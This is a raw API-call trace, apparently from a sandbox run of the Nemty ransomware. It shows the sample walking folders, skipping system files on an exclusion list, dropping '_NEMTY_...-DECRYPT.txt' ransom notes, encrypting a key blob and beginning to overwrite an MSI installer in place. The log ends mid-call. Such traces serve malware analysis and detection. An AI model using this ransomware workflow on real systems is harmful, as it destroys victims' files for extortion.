[0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.349] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0714710, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0714710, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0714710, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.349] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.349] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.349] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.350] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0048.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.350] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.351] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.354] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.354] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.355] CloseHandle (hObject=0x3c4) returned 1 [0048.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.355] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.356] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.356] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.357] CloseHandle (hObject=0x3c4) returned 1 [0048.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.357] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.357] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd0845210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0845210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.357] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.357] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd0845210, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0845210, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.358] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.358] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.358] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2=".") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="..") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="...") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="windows") returned -1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="rsa") returned -1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="NTDETECT.COM") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ntldr") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="MSDOS.SYS") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="IO.SYS") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="boot.ini") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="boot.ini") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="AUTOEXEC.BAT") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="ntuser.dat") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="desktop.ini") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="CONFIG.SYS") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="RECYCLER") returned -1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="BOOTSECT.BAK") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="bootmgr") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="programdata") returned 1 [0048.358] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="appdata") returned 1 [0048.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.358] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.359] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ProjectMUI.msi", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProjectMUI.msi", lpUsedDefaultChar=0x0) returned 14 [0048.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94230 [0048.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0048.359] Sleep (dwMilliseconds=0x5) [0048.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd08914d0, dwHighDateTime=0x1d561e7)) [0048.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd08914d0, dwHighDateTime=0x1d561e7)) [0048.373] GetLastError () returned 0xb7 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.374] GetLastError () returned 0xb7 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.374] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.374] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.374] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.374] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="PrqcIb8IvhAGW6WTYBLL/vahfjijmJ/UQf1JTalljT5QLzn2UpfospXBUnUseKGf\r\nELYUsGZGDxCpR18CJjE3lzEVvoSTuL9MkpJLRU1nsyRX3khbCcinNok8TTS+nLkT\r\n1YwnlH5KP8cX4m3v3Po9EyBgDNVNEj7mxp0POOOaqWAFVrNc8+E7k6vKtIOC03Ls\r\nnzDlH8dBxJLKSqkiN8BPBVxTtK6z27qurI7c1dwpl1VXsAEO5I3mnERYIdFGaOL/\r\nIt2f+23aDpj8lXlD74QEcZU8eiyDFlT+pBKL2hRvL2g32e9Ym9nk0GUs7Gftc7XO\r\nrNzjKF9otH2FrFtfmt90dw==\r\n", pcchString=0x653ef9c) returned 1 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.374] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.375] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=2511872) returned 1 [0048.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.375] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.375] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.385] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.385] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 